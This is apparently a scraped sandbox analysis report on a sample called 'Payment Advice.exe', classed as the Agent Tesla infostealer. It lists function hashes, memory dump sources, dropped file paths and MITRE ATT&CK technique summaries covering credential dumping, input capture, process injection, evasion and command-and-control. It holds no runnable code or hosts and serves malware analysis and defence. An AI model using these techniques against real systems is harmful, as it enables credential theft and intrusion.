Opcode ID: 97fc93109f425b80cbc2938e42c460ac34c83d7ee71863dbace49e19c00779e4
Instruction ID: db67666df17e527c6fc385d4a352756869b2ecab243f1f3c3983cce26eba5120
Opcode Fuzzy Hash: 97fc93109f425b80cbc2938e42c460ac34c83d7ee71863dbace49e19c00779e4
Instruction Fuzzy Hash: 15118F71A007059FCB61CFA9DD81AAFFBB2BB88300F148929D215D7654D734A8468FA1

Uniqueness

Uniqueness Score: -1.00%

Function 06893470 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.4175443730.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_6890000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d691bba713e8f994dfb781d74c4ac6e6960a50a91f744296b570d22de4762f00
Instruction ID: b46b749c4514dd756dbbfc200e1505ad5d22438844f88774df6a375ab2988a41
Opcode Fuzzy Hash: d691bba713e8f994dfb781d74c4ac6e6960a50a91f744296b570d22de4762f00
Instruction Fuzzy Hash: B211C671E002284BCF69DB79C8445DEF7B1EB89314F09856AD519E7300DA31CA41CFE1

Uniqueness

Uniqueness Score: -1.00%

Function 0689FCA9 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.4175443730.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_6890000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7fdda75b8b482432db81c547d2b843252bfd179ec8e098a54e3ee1a4e7f58c1
Instruction ID: c96d0ca2a7a16eb4eb6be3ad3f88b0a68dc19abf26ea0d1348d76e8e0990f4c4
Opcode Fuzzy Hash: c7fdda75b8b482432db81c547d2b843252bfd179ec8e098a54e3ee1a4e7f58c1
Instruction Fuzzy Hash: 5A11C871E002159FCF58DF64D55969EB7F2AF84210F148529D606EB361DB309D45C740

Uniqueness

Uniqueness Score: -1.00%

Function 06893C98 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.4175443730.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_6890000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3bb90aa381fb7646ef5c4fbe78232cabdfd5a2df746773f20e8563034f90825
Instruction ID: 1a363a3a0e4768903615d29edb5946245d94970a041144deb4be066f891e8855
Opcode Fuzzy Hash: b3bb90aa381fb7646ef5c4fbe78232cabdfd5a2df746773f20e8563034f90825
Instruction Fuzzy Hash: A221E0B5D01219DFCB00CF99D984ADEFBB4BB09320F10812AE518B7340C378A944CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 06893FD1 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.4175443730.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_6890000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 730eafc029ddd5bd7b822ba39c25a37829c2d0df8744f4f4ec32f7d7d901b183
Instruction ID: c79d378cc5dba1260f947ac0e90ad02294415f0d1100c47f829108bb07691642
Opcode Fuzzy Hash: 730eafc029ddd5bd7b822ba39c25a37829c2d0df8744f4f4ec32f7d7d901b183
Instruction Fuzzy Hash: 49018F32F101295BDF94A968DC11AEF77EADBC8210F48453AD50ADB384EE65DC0387E6

Uniqueness

Uniqueness Score: -1.00%

Function 06893CA0 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.4175443730.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_6890000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 989e29c0d75e1128f83f95cacda08c4396b36c19befe1b0745a6c4feb5ef1964
Instruction ID: 77803d6e396cebab220df0569d63daaebd5ba650d45e01fc4dc1f55421c834b9
Opcode Fuzzy Hash: 989e29c0d75e1128f83f95cacda08c4396b36c19befe1b0745a6c4feb5ef1964
Instruction Fuzzy Hash: 9B11AFB5D01259AFCB00DF9AD884ADEFBB4FB49320F10812AE918B7340D374A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06894228 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.4175443730.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_6890000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27808b29d5338b89ca182a8db792cc67c58fff768d33bc0b59fc341f9b615d32
Instruction ID: 12b73a3d574dc895b7421aa214fcfeacec213155d33be928d4add75cadcfabff
Opcode Fuzzy Hash: 27808b29d5338b89ca182a8db792cc67c58fff768d33bc0b59fc341f9b615d32
Instruction Fuzzy Hash: AA014B31B141221BDF6495ADA41572EA2DBEBC9610F248839E60ACB384EDA1EC4343A5

Uniqueness

Uniqueness Score: -1.00%

Function 0689A31A Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.4175443730.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_6890000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e04eb85d12e2bcd6f730421e7891fda6a4d1311632ee6f885417b8245dd55702
Instruction ID: 674929d32321b645db06c810847e3c7943925a5755e71abd49f885329a6e603c
Opcode Fuzzy Hash: e04eb85d12e2bcd6f730421e7891fda6a4d1311632ee6f885417b8245dd55702
Instruction Fuzzy Hash: 9001A735B105215FDB59DA38E85072EB7D2DB8A314F18C479E60EC7745DE25DC028791

Uniqueness

Uniqueness Score: -1.00%

Function 0689A328 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.4175443730.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_6890000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e546d5a2235f86ee43a7e7193b0f66da5e8473d2eead43966ee3b9b21ca86569
Instruction ID: 0b1424751231131bc2f52c7d2c1182794aa3ceb24fc545c0f705de644c559ca3
Opcode Fuzzy Hash: e546d5a2235f86ee43a7e7193b0f66da5e8473d2eead43966ee3b9b21ca86569
Instruction Fuzzy Hash: 6A01AF35B101209FDF68EA7DE85072EB7D6EB8A710F148839E60EC7344EE21EC028795

Uniqueness

Uniqueness Score: -1.00%

Function 00E9D8C5 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.4118109783.0000000000E9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_e9d000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7f4f3641f1ce3e3efde36fe245caf87f1cc459d302e7ebf17336fefa283e154
Instruction ID: 6429c02610c8c33640018bda89c717d5b920fa7fd76ea9c8358f3c555ec27fe4
Opcode Fuzzy Hash: b7f4f3641f1ce3e3efde36fe245caf87f1cc459d302e7ebf17336fefa283e154
Instruction Fuzzy Hash: 1D012B3110C3549AEB205B1ACD84767FFECEF91324F18C82AED092E186C279D840CA71

Uniqueness

Uniqueness Score: -1.00%

Function 0689C7F0 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.4175443730.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_6890000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d991923009d53c6042bbdb48820ca6b25e509054c7ad0061d1c68ce40bacc16a
Instruction ID: 6a305b7b5b217607e41c7e5930c49d1196ef9ec710aa15b588d091b1738d5b38
Opcode Fuzzy Hash: d991923009d53c6042bbdb48820ca6b25e509054c7ad0061d1c68ce40bacc16a
Instruction Fuzzy Hash: 37F02432F612649BCF199964EC02A9E7335EB44224F04403AD900FB786DB359801C7C0

Uniqueness

Uniqueness Score: -1.00%

Function 00E9D8C4 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.4118109783.0000000000E9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_e9d000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f50ddf71cad5c9525fa7c9459e6220aeee81df4a5aaf977a5bcf1a30a3d2ba65
Instruction ID: 16ed998388d8f41711a202f28a0daa5268a8409f5c74de24f15c145f40cffed3
Opcode Fuzzy Hash: f50ddf71cad5c9525fa7c9459e6220aeee81df4a5aaf977a5bcf1a30a3d2ba65
Instruction Fuzzy Hash: D0F0C271008350AAEB108E1ADC84B62FFE8EF91338F18C85AED481E286C2799840CA71

Uniqueness

Uniqueness Score: -1.00%

Function 0689C800 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.4175443730.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_6890000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a353b4b7da36ce5fa4c57e75a6a05dd32c5d5efabdac4a3e09796febd70c3c93
Instruction ID: 77bae30f0d8cdec5f7fd13c3c0fc42e389ac171a433c97aac304dc39d0b9a974
Opcode Fuzzy Hash: a353b4b7da36ce5fa4c57e75a6a05dd32c5d5efabdac4a3e09796febd70c3c93
Instruction Fuzzy Hash: 14F0A032F202689BDF689A69E811A9EB379E785268F004429EA01F7744DB72AC10C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 06896489 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.4175443730.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_6890000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ae55b4d73f2c640119278068d504de0a52ac8010a35ffba31ec57780d7571c8
Instruction ID: 7c416cdb9b902fb7751d2f5d1cf37df8d5f3a154a19c4786cbf07b382365b2b5
Opcode Fuzzy Hash: 3ae55b4d73f2c640119278068d504de0a52ac8010a35ffba31ec57780d7571c8
Instruction Fuzzy Hash: 62E01271E140059BEF60CFE4CA5575EB3A5EF81204F2885A5C508C7205E276DA818BD0

Uniqueness

Uniqueness Score: -1.00%

Function 06896498 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.4175443730.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_6890000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62f352b6562ba796906f7391706abc738e40210fc79d9eb981b9d39a5ff95d1a
Instruction ID: ff4e067324cc0f07b5883970fe90e60828e2817b52e3dfb19ea3b27835b9b94f
Opcode Fuzzy Hash: 62f352b6562ba796906f7391706abc738e40210fc79d9eb981b9d39a5ff95d1a
Instruction Fuzzy Hash: F1E0C270E10108ABEF60CEF4CD0575E73ACD781214F2884A4D508C7201F276CA418BE0

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Payment Advice.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\BjTxJte.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Payment Advice.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\sFPEKzHsLkYZIz.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0xbngyaq.g42.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_33p3wgzx.dln.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3txy3oys.blp.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fm2dvqgd.hcl.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_keru10gn.pnm.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m3xa4heo.qmr.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qzxa52gb.ecg.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uklbcpkl.dko.ps1

Windows Analysis Report
Payment Advice.exe

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre